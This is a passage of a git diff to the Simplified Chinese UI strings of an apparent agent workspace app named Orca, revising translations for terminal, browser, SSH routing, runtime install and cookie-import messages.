     "jiraUserPicker": {
-      "select": "选择{{value0}}",
+      "select": "选择 {{value0}}",
       "search": "搜索用户",
-      "empty": "没有找到用户",
+      "empty": "未找到用户",
       "useKnownId": "使用已知用户 ID“{{value0}}”"
     },
     "status": {
       "bar": {
         "workspaceSpace": {
-          "otherTopLevelItems": "其他顶级项目 ({{value0}})"
+          "otherTopLevelItems": "其他顶层项目（{{value0}}）"
         }
       }
     },
@@ -19860,8 +20255,8 @@
     },
     "settings": {
       "TerminalInteraction": {
-        "copyTrimsGutterDescription": "将左侧装订线智能体输出绘制在后面，因此复制的文本不会缩进。仅删除每个选定行共享的缩进。",
-        "copyOnSelectDescription": "自动将在终端或聊天中选择的文本复制到剪贴板。",
+        "copyTrimsGutterDescription": "移除代理输出左侧的留白，避免复制的文本带有缩进，仅移除所有选中行共有的缩进",
+        "copyOnSelectDescription": "自动将在终端或聊天中选择的文本复制到剪贴板",
         "scrollOnUserInputDescription": "向上滚动时键入或粘贴会跳至最新输出。关闭此项可保持当前位置。",
         "4ed43d5060": "修剪副本上的装订线",
         "4c690cdfc3": "输入时滚动到底部"
@@ -19869,13 +20264,13 @@
       "terminal": {
         "clipboard": {
           "search": {
-            "gutter": "排水沟",
+            "gutter": "左侧留白",
             "indent": "缩进",
-            "margin": "利润",
-            "leading": "领导",
+            "margin": "边距",
+            "leading": "前导",
             "whitespace": "空白",
-            "spaces": "空间",
-            "copyOnSelectDescription": "在终端或聊天中选择文本后，立即自动将其复制到剪贴板。",
+            "spaces": "空格",
+            "copyOnSelectDescription": "在终端或聊天中选择文本后，立即自动将其复制到剪贴板",
             "highlight": "高亮",
             "chat": "聊天"
           }
@@ -19895,13 +20290,10 @@
         "scrollToLatestOnSendTitle": "发送时滚动到最新消息",
         "scrollToLatestOnSendCopy": "向上滚动时发送消息会跳到最新消息并跟随回复。关闭后将保持当前位置。",
         "scrollToLatestOnSendSearchPosition": "位置",
-        "markNewMessagesTitle": "返回聊天时标记新消息",
-        "markNewMessagesCopy": "返回聊天时，在你离开期间收到的内容上方显示“新消息”分隔线；如果你之前在看最新消息，会滚动到该处。",
-        "markNewMessagesSearchUnread": "未读",
         "followUpBehaviorCopy": "智能体工作时发送的消息会作为卡片等待，直到本轮结束，而不是进入当前轮次。Cmd/Ctrl+Enter 对单条消息执行相反操作；输入框为空时，该快捷键会将第一张等待中的卡片引入当前轮次。带图片的消息也会作为卡片等待。",
-        "inlineVisualsTitle": "内联可视化",
-        "inlineVisualsCopy": "允许智能体在其回复中显示图表、示意图和原型图。适用于新启动的聊天。",
-        "inlineVisualsToggleLabel": "切换内联可视化",
+        "inlineVisualsTitle": "内嵌可视化",
+        "inlineVisualsCopy": "允许代理在回复中展示图表、示意图和原型图，适用于新开始的聊天",
+        "inlineVisualsToggleLabel": "切换内嵌可视化",
         "behaviorTitle": "行为",
         "resumeSearchUpdate": "更新",
         "resumeSearchRelaunch": "重新启动",
@@ -19928,7 +20320,10 @@
         "turnDiffsTitle": "每轮更改",
         "turnDiffsCopy": "在回复下方显示每轮更改的文件及其行数。",
         "turnDiffsSearchChangedFiles": "已更改文件",
-        "turnDiffsSearchEdits": "编辑"
+        "turnDiffsSearchEdits": "编辑",
+        "markNewMessagesTitle": "返回聊天时标记新消息",
+        "markNewMessagesCopy": "返回聊天时，在你离开期间收到的内容上方显示“新消息”分隔线；如果你之前在看最新消息，会滚动到该处。",
+        "markNewMessagesSearchUnread": "未读"
       },
       "voice": {
         "dictationLanguage": {
@@ -20088,24 +20483,24 @@
       "chat": "聊天",
       "terminal": "终端",
       "runChatUnavailable": "运行聊天不可用。正在显示其工作区；已保存的输出仍可在运行详情中查看。",
-      "runTerminalUnavailable": "运行终端不可用。"
+      "runTerminalUnavailable": "运行终端不可用"
     },
     "jiraIssueTitleField": {
       "generate": "根据描述生成标题",
       "stop": "停止生成标题",
-      "canceled": "生成已取消。",
-      "webUnavailable": "Jira 标题生成在 Web 客户端中不可用。",
-      "hostUpdateRequired": "生成 Jira 标题需要较新版本的 Orca 服务器。请更新 Jira 连接的主机并重试。",
-      "generating": "正在生成标题。点击停止。",
-      "failed": "无法根据描述生成摘要。"
+      "canceled": "生成已取消",
+      "webUnavailable": "Jira 标题生成在 Web 客户端中不可用",
+      "hostUpdateRequired": "生成 Jira 标题需要较新版本的 Orca 服务器，请更新 Jira 连接的主机并重试",
+      "generating": "正在生成标题，点击停止",
+      "failed": "无法根据描述生成摘要"
     },
     "agentCombobox": {
-      "clearSelection": "清除智能体选择",
+      "clearSelection": "清除代理选择",
       "startInTerminal": "在终端中启动 {{value0}}"
     },
     "newWorkspace": {
-      "agentOptional": "智能体 [可选]",
-      "createDescription": "选择项目和工作区名称。如果想启动智能体，请选择一个。",
+      "agentOptional": "代理 [可选]",
+      "createDescription": "选择项目和工作区名称，如果想启动代理，请选择一个",
       "directSetup": {
         "run": "Run setup",
         "skip": "Skip setup",
@@ -20124,60 +20519,60 @@
       }
     },
     "JiraIssueWorkspace": {
-      "pendingChange": "另一个议题更改正在进行中。"
+      "pendingChange": "另一个议题更改正在进行中"
     },
     "jiraProjectPicker": {
       "search": "搜索 Jira 项目",
-      "empty": "未找到项目。",
+      "empty": "未找到项目",
       "label": "Jira 项目",
       "all": "所有 Jira 项目"
     },
     "RepositoryJiraProjectSection": {
-      "saveFailed": "无法保存默认 Jira 项目。",
-      "runtimeUpdate": "请更新此运行时以保存默认 Jira 项目。",
+      "saveFailed": "无法保存默认 Jira 项目",
+      "runtimeUpdate": "请更新此运行时以保存默认 Jira 项目",
       "title": "默认 Jira 项目",
-      "description": "将 Jira 议题选择器和任务列表默认设为此项目。你可以为每个工作树单独更改。",
+      "description": "将 Jira 议题选择器和任务列表默认设为此项目，你可以为每个工作树单独更改",
       "none": "无默认项目",
-      "connect": "在集成中连接 Jira 以选择项目。",
+      "connect": "在集成中连接 Jira 以选择项目",
       "keywordJira": "Jira",
       "keywordDefaultProject": "默认项目",
       "keywordIssuePicker": "议题选择器"
     },
     "managed-runtime": {
-      "cancelled": "已取消安装。",
+      "cancelled": "已取消安装",
       "cancelling": "正在取消…",
-      "damaged": "此 {{agent}} 副本已损坏。",
-      "downloadSize": "下载大小 {{size}} MB。",
-      "downloading": "正在下载 {{done}} MB。",
-      "downloadingOf": "正在下载 {{done}} MB / {{total}} MB。",
-      "external": "使用在此主机上找到的 {{agent}} 副本。",
-      "extracting": "正在解压 {{agent}}。",
-      "failed": "安装失败。请重试。",
-      "cancelFailed": "无法取消安装。请重试。",
+      "damaged": "此 {{agent}} 副本已损坏",
+      "downloadSize": "下载大小 {{size}} MB",
+      "downloading": "正在下载 {{done}} MB",
+      "downloadingOf": "正在下载 {{done}} MB / {{total}} MB",
+      "external": "使用在此主机上找到的 {{agent}} 副本",
+      "extracting": "正在解压 {{agent}}",
+      "failed": "安装失败，请重试",
+      "cancelFailed": "无法取消安装，请重试",
       "install": "安装 {{agent}}",
       "installManaged": "安装 Orca 的副本",
       "installed": "已安装",
-      "notInstalled": "未安装。",
+      "notInstalled": "未安装",
       "progress": "{{agent}} 下载",
-      "readFailed": "无法检查此主机上的 {{agent}}。正在重试。",
+      "readFailed": "无法检查此主机上的 {{agent}}，正在重试",
       "reinstall": "重新安装 {{agent}}",
       "reinstallShort": "重新安装",
       "remove": "移除已下载的运行时",
       "moreActions": "{{agent}} 的更多操作",
       "removeConfirm": "移除",
-      "removeDescription": "正在运行的 {{agent}} 聊天会停止。其历史记录会保留。",
+      "removeDescription": "正在运行的 {{agent}} 聊天会停止，其历史记录会保留",
       "removeKeep": "取消",
       "removeTitle": "要从 {{host}} 移除已下载的 {{agent}} 运行时吗？",
       "removing": "正在移除…",
       "retry": "重试安装",
       "thisComputer": "此计算机",
-      "unavailable": "{{agent}} 在此主机上不可用。",
+      "unavailable": "{{agent}} 在此主机上不可用",
       "update": "更新",
-      "verifying": "正在检查已下载的运行时。",
+      "verifying": "正在检查已下载的运行时",
       "installTitle": "安装 {{agent}} 以开始聊天",
       "continueTitle": "安装 {{agent}} 以继续",
-      "heroBody": "一次性下载 {{size}} MB，由运行此聊天的电脑上的 {{agent}} 聊天共用。",
-      "heroBodyNoSize": "一次性下载，由运行此聊天的电脑上的 {{agent}} 聊天共用。",
+      "heroBody": "一次性下载 {{size}} MB，由运行此聊天的电脑上的 {{agent}} 聊天共用",
+      "heroBodyNoSize": "一次性下载，由运行此聊天的电脑上的 {{agent}} 聊天共用",
       "stripSize": "在运行此聊天的电脑上下载 {{size}} MB",
       "settingsHint": "也可在 设置 › 智能体 中安装",
       "installShort": "安装",
@@ -20185,7 +20580,7 @@
       "cancelShort": "取消",
       "failedTitle": "无法安装 {{agent}}",
       "cancelledTitle": "安装已取消",
-      "cancelledBody": "未安装任何内容。",
+      "cancelledBody": "未安装任何内容",
       "downloadingTitle": "正在下载 {{agent}}",
       "unpackingTitle": "正在解压 {{agent}}",
       "checkingTitle": "正在检查下载内容",
@@ -20234,14 +20629,46 @@
         }
       }
     },
+    "toastFallbacks": {
+      "filesDropFailed": "拖放文件失败",
+      "filesUploadFailed": "上传文件失败",
+      "filesResolveDroppedFailed": "解析拖放的文件失败",
+      "markdownCreateFailed": "创建无标题 Markdown 文件失败",
+      "markdownOpenFailed": "打开 Markdown 文件失败",
+      "fileDuplicateFailed": "复制\"{{name}}\"失败",
+      "fileCreateFailed": "创建\"{{name}}\"失败",
+      "fileMoveFailed": "移动\"{{name}}\"失败",
+      "fileRenameFailed": "重命名\"{{name}}\"失败",
+      "worktreeCreateFailed": "创建工作树失败",
+      "missingBaseBranchHelp": "请先创建初始提交（例如在 main 分支上），或在\"创建来源\"中选择现有分支，然后重试",
+      "dropTooManyPaths": "拖放内容包含的路径过多",
+      "dropPathsTooLarge": "拖放路径列表过大",
+      "fileOwnerResolveFailed": "解析文件所属主机失败"
+    },
+    "agentNotes": {
+      "targetSelected": "所选",
+      "targetActive": "当前",
+      "empty": "没有可发送的备注",
+      "selectedTerminalUnavailable": "所选终端已不可用",
+      "activeTerminalUnavailable": "请打开此工作树中的代理终端，然后重新发送备注",
+      "notAgentSession": "{{target}}终端不是可识别的代理会话",
+      "selectedAgentNeedsPermission": "所选代理需要权限",
+      "activeAgentNeedsPermission": "当前代理需要权限",
+      "statusUnverified": "无法验证{{target}}代理的状态",
+      "notReady": "{{target}}代理尚未准备好接收输入",
+      "notWritable": "{{target}}智能体未接受这些备注",
+      "selectedSubmitFailed": "备注可能已粘贴到所选终端，但 Orca 无法提交",
+      "activeSubmitFailed": "备注可能已粘贴到当前终端，但 Orca 无法提交",
+      "notWritableSelection": "{{target}}智能体未接受所选内容"
+    },
     "dictation": {
       "stoppedAfterSilenceSeconds": "静音 {{seconds}} 秒后已停止"
     }
   },
   "dashboardPopout": {
     "recoverableError": {
-      "title": "Orca 看板遇到错误。",
-      "description": "看板未能完成渲染。请重试以重新挂载，或重新打开。"
+      "title": "Orca 看板遇到错误",
+      "description": "看板未能完成渲染，请重试以重新挂载，或重新打开"
     },
     "bucket": {
       "attention": "需要你",
@@ -20250,7 +20677,7 @@
       "empty": "无",
       "done": "已完成"
     },
-    "title": "智能体",
+    "title": "代理",
     "total": "共 {{count}} 个",
     "card": {
       "you": "你",
@@ -20266,15 +20693,15 @@
         "merged": "已合并的评审",
         "closed": "已关闭的评审"
       },
-      "subagents_one": "{{count}} 个子智能体",
-      "subagents_other": "{{count}} 个子智能体"
+      "subagents_one": "{{count}} 个子代理",
+      "subagents_other": "{{count}} 个子代理"
     },
     "terminal": {
-      "focusWorktree": "聚焦工作树",
+      "focusWorktree": "打开工作树",
       "close": "关闭",
-      "remotePreviewUnavailable": "此远程会话没有预览 - 打开工作区以查看终端。"
+      "remotePreviewUnavailable": "无法预览此远程会话——请打开工作区查看终端"
     },
-    "close": "关闭仪表盘",
+    "close": "关闭仪表板",
     "settingsTooltip": "看板设置",
     "filters": {
       "remove": "移除 {{label}} 筛选条件",
@@ -20295,15 +20722,15 @@
       "clearAll": "清除所有筛选条件"
     },
     "search": {
-      "placeholder": "搜索工作树、项目或智能体…",
-      "label": "搜索智能体",
+      "placeholder": "搜索工作树、项目或代理…",
+      "label": "搜索代理",
       "clear": "清除搜索",
       "results": "显示 {{shown}} / {{total}}"
     },
-    "settingsLabel": "智能体仪表盘设置",
+    "settingsLabel": "代理仪表盘设置",
     "settings": {
-      "showIdle": "显示空闲智能体",
-      "showIdleCopy": "包括已安静 30 分钟且未报告完成的智能体。默认隐藏。"
+      "showIdle": "显示空闲代理",
+      "showIdleCopy": "包括已安静 30 分钟且未报告完成的代理，默认隐藏"
     },
     "host": {
       "sshNamed": "SSH 主机·{{host}}",
@@ -20341,7 +20768,7 @@
       }
     },
     "newTab": {
-      "emptyHint": "在上方搜索或输入网址。你访问过的网站、此工作区中运行的开发服务器，以及它的 PR 和议题会显示在这里。",
+      "emptyHint": "在上方搜索或输入网址。你访问过的网站、此工作区中运行的开发服务器，以及它的 PR 和议题会显示在这里",
       "openServerFailed": "无法打开 {{address}}",
       "removedFromHistory": "已从历史记录中移除“{{title}}”",
       "removeSuggestion": "从历史记录中移除",
@@ -20366,118 +20793,118 @@
       "cantReachHost": "无法访问 {{value0}}",
       "cantLoadPage": "无法加载此页面",
       "blockedTitle": "{{host}} 已被阻止",
-      "blockedDescription": "某个扩展程序阻止了此页面。要打开它，请在该扩展程序中允许此网站，然后重试。",
-      "certificateNameMismatch": "证书与 {{value0}} 不匹配。",
-      "certificateDateInvalid": "{{value0}} 的证书在当前日期和时间无效。",
-      "certificateAuthorityInvalid": "Orca 不信任签发 {{value0}} 证书的机构。",
-      "certificateVerificationFailed": "Orca 无法验证 {{value0}} 的证书。",
+      "blockedDescription": "某个扩展程序阻止了此页面。要打开它，请在该扩展程序中允许此网站，然后重试",
+      "certificateNameMismatch": "证书与 {{value0}} 不匹配",
+      "certificateDateInvalid": "{{value0}} 的证书在当前日期和时间无效",
+      "certificateAuthorityInvalid": "Orca 不信任签发 {{value0}} 证书的机构",
+      "certificateVerificationFailed": "Orca 无法验证 {{value0}} 的证书",
       "retry": "重试",
       "openExternally": "在外部打开",
-      "proceedUnsafe": "仍然继续（不安全）",
+      "proceedUnsafe": "仍然继续(不安全)",
       "connecting": "正在连接…",
-      "certificateChallengeExpired": "此证书审批已过期。请重试该页面以请求新的审批。",
-      "certificateChallengeChanged": "证书请求已更改。请重试该页面并查看新的警告。",
-      "certificateChallengeUnavailable": "此证书请求已不可用。请重试该页面以重新请求。",
-      "certificateProceedFailed": "Orca 无法批准此证书请求。请重试该页面后再试。",
-      "sshRoutedHint": "此页面浏览工作区的 SSH 主机 - 该主机可能已断开连接或无法访问此站点。",
+      "certificateChallengeExpired": "此证书审批已过期，请重试该页面以请求新的审批",
+      "certificateChallengeChanged": "证书请求已更改，请重试该页面并查看新的警告",
+      "certificateChallengeUnavailable": "此证书请求已不可用，请重试该页面以重新请求",
+      "certificateProceedFailed": "Orca 无法批准此证书请求，请重试该页面后再试，",
+      "sshRoutedHint": "此页面通过工作区的 SSH 主机浏览——该主机可能已断开连接或无法访问此网站",
       "recheckSshRoute": "运行连接检查",
       "notRunningTitle": "{{host}} 上还没有运行任何服务",
-      "notRunningDescription": "请启动此地址的开发服务器。",
+      "notRunningDescription": "请启动此地址的开发服务器",
       "refusedTitle": "{{host}} 拒绝了连接",
-      "refusedDescription": "网站可能已关闭，或地址有误。",
+      "refusedDescription": "网站可能已关闭，或地址有误",
       "dnsTitle": "找不到 {{host}}",
-      "dnsDescription": "请检查地址是否有拼写错误。",
+      "dnsDescription": "请检查地址是否有拼写错误",
       "offlineTitle": "你已离线",
       "timeoutTitle": "{{host}} 响应时间过长",
       "resetTitle": "与 {{host}} 的连接已中断",
       "routeDownTitle": "无法连接到 SSH 主机",
-      "routeDownDescription": "此页面通过工作区的 SSH 主机加载，但该主机当前未连接。",
+      "routeDownDescription": "此页面通过工作区的 SSH 主机加载，但该主机当前未连接",
       "waiting": "服务器响应后将重新加载",
       "waitingForHost": "SSH 主机重新连接后将重新加载",
       "waitingForNetwork": "恢复联网后将重新加载",
-      "notRunningSshDescription": "请在工作区的 SSH 主机上启动开发服务器。",
+      "notRunningSshDescription": "请在工作区的 SSH 主机上启动开发服务器",
       "waitingForServer": "服务器启动后将重新加载"
     },
     "guestRecovery": {
       "title": "浏览器页面已停止",
-      "failed": "浏览器页面意外停止。重试恢复它。"
+      "failed": "浏览器页面意外停止，请重试以恢复"
     },
     "clientHosted": {
-      "preparationFailed": "无法在此桌面上启动远程浏览器。检查配对连接并重试。",
+      "preparationFailed": "无法在此桌面上启动远程浏览器，请检查配对连接后重试",
       "unavailableTitle": "客户端托管的浏览器不可用",
-      "unavailableDescription": "此页面目前在此桌面上不可用。",
-      "unavailableOtherDesktopDescription": "此页面已在另一台桌面上打开。",
-      "unavailableHostOfflineDescription": "{{host}} 已离线。重新连接后，此页面将在此处重新加载。",
+      "unavailableDescription": "此页面目前在此桌面上不可用",
+      "unavailableOtherDesktopDescription": "此页面已在另一台桌面上打开",
+      "unavailableHostOfflineDescription": "{{host}} 已离线，重新连接后，此页面将在此处重新加载",
       "download": {
-        "started": "正在下载 {{filename}}...",
-        "completed": "已下载{{filename}}",
-        "canceled": "下载已取消。",
-        "failed": "无法完成下载。"
+        "started": "正在下载 {{filename}}…",
+        "completed": "已下载 {{filename}}",
+        "canceled": "下载已取消",
+        "failed": "无法完成下载"
       },
-      "hostPaneOfflineTitle": "该设备不再连接",
-      "hostPaneNamedTitle": "显示于 {{device}}",
-      "hostPaneTitle": "在另一台设备上显示",
-      "hostPaneOfflineDescription": "此页面保持列出状态，以便您可以从此处关闭它。当设备重新连接时它会回来。",
-      "hostPaneDescription": "此页面呈现在打开它的配对桌面上。",
+      "hostPaneOfflineTitle": "该设备已断开连接",
+      "hostPaneNamedTitle": "正在 {{device}} 上显示",
+      "hostPaneTitle": "正在其他设备上显示",
+      "hostPaneOfflineDescription": "此页面会保留在列表中，便于你从这里将其关闭，设备重新连接后，页面会恢复",
+      "hostPaneDescription": "此页面在打开它的配对桌面上渲染",
       "hostRowClose": "关闭托管页面",
-      "hostRowCloseFailed": "无法关闭此页面。托管它的设备可能正忙 - 请重试。",
-      "hostRowOfflineNamed": "离线 — 托管于 {{device}}",
-      "hostRowOffline": "离线 — 托管它的设备退出",
-      "hostRowNamed": "主办于 {{device}}",
-      "hostRow": "托管在另一台设备上"
+      "hostRowCloseFailed": "无法关闭此页面，托管该页面的设备可能正忙，请重试",
+      "hostRowOfflineNamed": "离线——之前托管于 {{device}}",
+      "hostRowOffline": "离线——托管此页面的设备已退出",
+      "hostRowNamed": "托管于 {{device}}",
+      "hostRow": "托管于其他设备"
     },
     "navigation": {
-      "back": "返回",
+      "back": "后退",
       "forward": "前进",
       "reload": "重新加载"
     },
     "reopenOnServer": {
       "action": "在服务器上重新打开",
-      "pending": "重新打开…",
-      "caveat": "这将在远程主机上的该页面的最后一个地址处打开一个新页面。登录状态和其他临时页面状态可能会有所不同，并且来自表单提交的页面会打开空白。",
-      "failed": "无法在远程主机上打开此页面。检查连接并重试。"
+      "pending": "正在重新打开…",
+      "caveat": "这会在远程主机上按此页面最后的地址打开新页面，登录状态及其他临时页面状态可能不同，如果页面来自表单提交，新页面将为空白",
+      "failed": "无法在远程主机上打开此页面，请检查连接后重试"
     },
     "sshRoute": {
-      "preparingTitle": "通过 SSH 主机连接",
+      "preparingTitle": "正在通过 SSH 主机连接",
       "errorTitle": "SSH 浏览器路由不可用",
-      "errorDescription": "此工作区中的页面通过其 SSH 主机浏览，但无法设置路由。",
+      "errorDescription": "此工作区中的页面通过其 SSH 主机浏览，但无法设置路由",
       "retry": "重试",
-      "tryAnyway": "无论如何尝试一下",
+      "tryAnyway": "仍然尝试",
       "browseLocally": "改为从此设备浏览",
       "forwardingBlockedTitle": "SSH 服务器阻止浏览器流量",
       "sshUnavailableTitle": "SSH 连接不可用",
-      "forwardingBlockedDescription": "该服务器拒绝浏览它所需要的 TCP 转发（通常在其 sshd 配置中为“AllowTcpForwarding no”）。请其管理员允许转发，或改为从此设备浏览。",
-      "sshUnavailableDescription": "此工作区中的页面浏览其 SSH 主机，但该连接目前不可用。重新连接主机，然后重试。",
+      "forwardingBlockedDescription": "此服务器拒绝 TCP 转发（通常是 sshd 配置中的“AllowTcpForwarding no”），而通过该服务器浏览需要此功能，请让管理员允许转发，或改为从此设备浏览",
+      "sshUnavailableDescription": "此工作区中的页面通过其 SSH 主机浏览，但该连接目前不可用，请重新连接主机后重试",
       "showDetails": "显示详情"
     },
     "sshEgress": {
-      "routedTooltip": "浏览 {{value0}}",
-      "localTooltip": "从此设备浏览，而不是 {{value0}}",
-      "routedDetail": "网络流量和 DNS 通过工作区的 SSH 主机。",
-      "localDetail": "页面从本机及其网络加载。",
+      "routedTooltip": "正通过 {{value0}} 浏览",
+      "localTooltip": "正从此设备浏览，而非 {{value0}}",
+      "routedDetail": "网络流量和 DNS 通过工作区的 SSH 主机",
+      "localDetail": "页面通过此计算机及其网络加载",
       "settingsLink": "路由设置"
     },
     "remoteEgress": {
-      "clientHostedTooltip": "浏览 {{value0}}",
+      "clientHostedTooltip": "正通过 {{value0}} 浏览",
       "streamedTooltip": "正在 {{value0}} 上浏览",
-      "clientHostedDetail": "页面在此设备上呈现。网络流量和 DNS 通过远程主机。",
-      "streamedDetail": "该页面在远程主机上运行并流式传输到该设备。"
+      "clientHostedDetail": "页面在此设备上渲染，网络流量和 DNS 仍通过远程主机",
+      "streamedDetail": "页面在远程主机上运行，并流式传输到此设备"
     },
     "remote": {
-      "findUnavailable": "当此页面从远程主机流式传输时，在页面中查找不可用。",
-      "selectionTooLargeToCopy": "所选内容太大，无法从远程主机流式传输的页面中复制。"
+      "findUnavailable": "当页面从远程主机流式传输时，无法使用页内查找",
+      "selectionTooLargeToCopy": "所选内容太大，无法从远程主机流式传输的页面中复制"
     },
     "userAgentMigration": {
-      "degradedDescription": "无法检查旧的浏览器身份选择。在浏览器设置中选择 Cleaned 或 Native；更改在重新启动后生效。",
-      "description": "每个配置文件的用户代理设置已被删除。在浏览器设置中选择 Cleaned 或 Native；更改在重新启动后生效。",
-      "title": "浏览器身份现在是应用程序范围内的",
+      "degradedDescription": "无法检查旧的浏览器身份选项，请在浏览器设置中选择“清理模式”或“原生模式”，更改将在重启后生效",
+      "description": "已移除各配置文件的用户代理设置，请在浏览器设置中选择“清理模式”或“原生模式”，更改将在重启后生效",
+      "title": "浏览器身份现已改为应用级设置",
       "openSettings": "打开设置"
     },
     "request": {
-      "pairedServerWorkspace": "此工作区在配对服务器上运行。请使用该服务器的浏览器标签页。"
+      "pairedServerWorkspace": "此工作区在配对服务器上运行，请使用该服务器的浏览器标签页"
     },
     "managedProfile": {
-      "createFailed": "无法创建此工作区的浏览器配置文件。关闭此选项卡并打开一个新选项卡以重试。"
+      "createFailed": "无法创建此工作区的浏览器配置文件。关闭此选项卡并打开一个新选项卡以重试"
     },
     "extensions": {
       "menu": "扩展程序",
@@ -20523,57 +20950,71 @@
     "cookieImport": {
       "errors": {
         "notAuthorized": "未获授权",
-        "profileNotFound": "未找到会话配置文件。",
-        "invalidBrowserProfile": "浏览器配置文件名称无效。",
-        "browserNotFound": "在此系统上未找到浏览器。",
-        "browserProfileDatabaseMissing": "未找到配置文件“{{profile}}”的 Cookie 数据库。",
-        "fileUnreadable": "无法读取所选文件。",
-        "fileInvalidJson": "文件不是有效的 JSON。",
-        "fileNotArray": "需要包含 Cookie 对象的 JSON 数组。",
-        "fileEmpty": "Cookie 文件为空。",
-        "fileNoValidCookies_other": "未找到有效的 Cookie。由于字段缺失或无效，已跳过 {{count}} 条记录。",
-        "databaseNotFound": "未找到 {{browser}} 的 Cookie 数据库。",
-        "databaseCopyFailed": "无法复制 {{browser}} 的 Cookie 数据库。请先尝试关闭 {{browser}}。",
-        "noCookies": "在 {{browser}} 中未找到 Cookie。",
-        "noValidCookies": "在 {{browser}} 中未找到有效的 Cookie。",
-        "allCookiesExpired": "{{browser}} 的所有 Cookie 均已过期。",
-        "encryptionKeyDenied": "无法访问 {{browser}} 的加密密钥。操作系统可能拒绝了访问。",
-        "readFailed": "无法读取 {{browser}} 的 Cookie。",
-        "importFailed": "无法从 {{browser}} 导入 Cookie。",
-        "importFailedTryClosing": "无法从 {{browser}} 导入 Cookie。请先尝试关闭 {{browser}}。",
-        "importFailedWithLog": "无法从 {{browser}} 导入 Cookie：{{detail}}。详细信息已写入 {{logPath}}。",
-        "safariFullDiskAccess": "macOS 拒绝访问 Safari 的 Cookie。请在系统设置 → 隐私与安全 → 完全磁盘访问权限中授予 Orca 完全磁盘访问权限。",
-        "connectionEnded": "导入期间与此服务器的连接已断开。请重新连接后重试。",
-        "serverRepaired": "此服务器在导入期间已重新配对。请重试。",
+        "profileNotFound": "未找到会话配置文件",
+        "invalidBrowserProfile": "浏览器配置文件名称无效",
+        "browserNotFound": "在此系统上未找到浏览器",
+        "browserProfileDatabaseMissing": "未找到配置文件“{{profile}}”的 Cookie 数据库",
+        "fileUnreadable": "无法读取所选文件",
+        "fileInvalidJson": "文件不是有效的 JSON",
+        "fileNotArray": "需要包含 Cookie 对象的 JSON 数组",
+        "fileEmpty": "Cookie 文件为空",
+        "fileNoValidCookies_other": "未找到有效的 Cookie。由于字段缺失或无效，已跳过 {{count}} 条记录",
+        "databaseNotFound": "未找到 {{browser}} 的 Cookie 数据库",
+        "databaseCopyFailed": "无法复制 {{browser}} 的 Cookie 数据库。请先尝试关闭 {{browser}}",
+        "noCookies": "在 {{browser}} 中未找到 Cookie",
+        "noValidCookies": "在 {{browser}} 中未找到有效的 Cookie",
+        "allCookiesExpired": "{{browser}} 的所有 Cookie 均已过期",
+        "encryptionKeyDenied": "无法访问 {{browser}} 的加密密钥。操作系统可能拒绝了访问",
+        "readFailed": "无法读取 {{browser}} 的 Cookie",
+        "importFailed": "无法从 {{browser}} 导入 Cookie",
+        "importFailedTryClosing": "无法从 {{browser}} 导入 Cookie。请先尝试关闭 {{browser}}",
+        "importFailedWithLog": "无法从 {{browser}} 导入 Cookie：{{detail}}。详细信息已写入 {{logPath}}",
+        "safariFullDiskAccess": "macOS 拒绝访问 Safari 的 Cookie。请在系统设置 → 隐私与安全 → 完全磁盘访问权限中授予 Orca 完全磁盘访问权限",
+        "connectionEnded": "导入期间与此服务器的连接已断开。请重新连接后重试",
+        "serverRepaired": "此服务器在导入期间已重新配对。请重试",
         "macFullDiskAccess": "macOS 拒绝访问 {{browser}} Cookie。请在“系统设置”→“隐私与安全性”→“完全磁盘访问权限”中授予 Orca 权限，然后重启 Orca。"
       },
       "notice": {
-        "importedMore_other": "已为 {{domains}} 及其他 {{more}} 个域名导入 {{count}} 个 Cookie。请重新加载页面以使用它们。",
-        "imported_other": "已为 {{domains}} 导入 {{count}} 个 Cookie。请重新加载页面以使用它们。",
+        "importedMore_other": "已为 {{domains}} 及其他 {{more}} 个域名导入 {{count}} 个 Cookie。请重新加载页面以使用它们",
+        "imported_other": "已为 {{domains}} 导入 {{count}} 个 Cookie。请重新加载页面以使用它们",
         "failed": "Cookie 导入失败：{{reason}}"
       }
+    },
+    "googleCookieClear": {
+      "signInKeyword": "登录",
+      "unavailable": "所选主机上的此配置文件不可用",
+      "explanation": "Google 的登录状态绑定在登录时所用的浏览器上，因此 Orca 不会从其他浏览器导入 Google Cookie。如果 Google 停留在错误的账户，或反复让您退出登录，请清除当前配置文件中的 Google Cookie，然后在 Orca 中重新登录 Google。其他网站仍保持登录状态",
+      "action": "清除 Google Cookie…",
+      "confirmTitle": "清除 {{profile}} 中的 Google Cookie？",
+      "confirmDescription": "此配置文件在 Orca 浏览器中将退出 Google 登录，其他网站仍保持登录状态",
+      "clear": "清除",
+      "cancel": "取消",
+      "cleared": "已清除 {{profile}} 中的 Google Cookie",
+      "empty": "{{profile}} 中没有可清除的 Google Cookie",
+      "remaining": "无法从 {{profile}} 中移除部分 Google Cookie，请重试",
+      "unverified": "无法检查 {{profile}} 的 Google Cookie，请重试"
     }
   },
   "runtimeRpc": {
     "startupFailure": {
-      "unknownCause": "没有其他错误详情可用。",
+      "unknownCause": "没有其他错误详情可用",
       "continueButton": "不使用 CLI 继续",
       "title": "Orca CLI 不可用",
-      "message": "Orca 无法启动其本地命令传输通道。",
-      "detail": "Orca 仍可正常工作，但本会话中 orca status、orca terminal 和编排等命令不可用。\n\n{{guidance}}\n\n原因：{{cause}}",
+      "message": "Orca 无法启动其本地命令传输通道",
+      "detail": "Orca 仍可正常工作，但本会话中 orca status、orca terminal 和编排等命令不可用，\n\n{{guidance}}\n\n原因：{{cause}}",
       "guidance": {
-        "permissionDenied": "Orca 无法写入其运行时文件。请检查 Orca 数据文件夹的权限，然后重启。",
-        "storageUnavailable": "磁盘可能已满或为只读。请释放空间，然后重启 Orca。",
-        "invalidPath": "Orca 的数据文件夹可能缺失、被移动或路径过长。请恢复它或使用更短的路径，然后重启 Orca。",
-        "addressInUse": "另一个进程可能占用了端口。请重启 Orca 以重试。",
-        "unknown": "请重启 Orca 以重试。"
+        "permissionDenied": "Orca 无法写入其运行时文件，请检查 Orca 数据文件夹的权限，然后重启",
+        "storageUnavailable": "磁盘可能已满或为只读，请释放空间，然后重启 Orca",
+        "invalidPath": "Orca 的数据文件夹可能缺失、被移动或路径过长，请恢复它或使用更短的路径，然后重启 Orca",
+        "addressInUse": "另一个进程可能占用了端口，请重启 Orca 以重试",
+        "unknown": "请重启 Orca 以重试"
       }
     }
   },
   "agentsSidebarIntro": {
     "migrated": {
       "title": "智能体更容易找到了",
-      "description": "智能体视图现在是侧边栏的专用标签页。你的活动和筛选条件都会保留。",
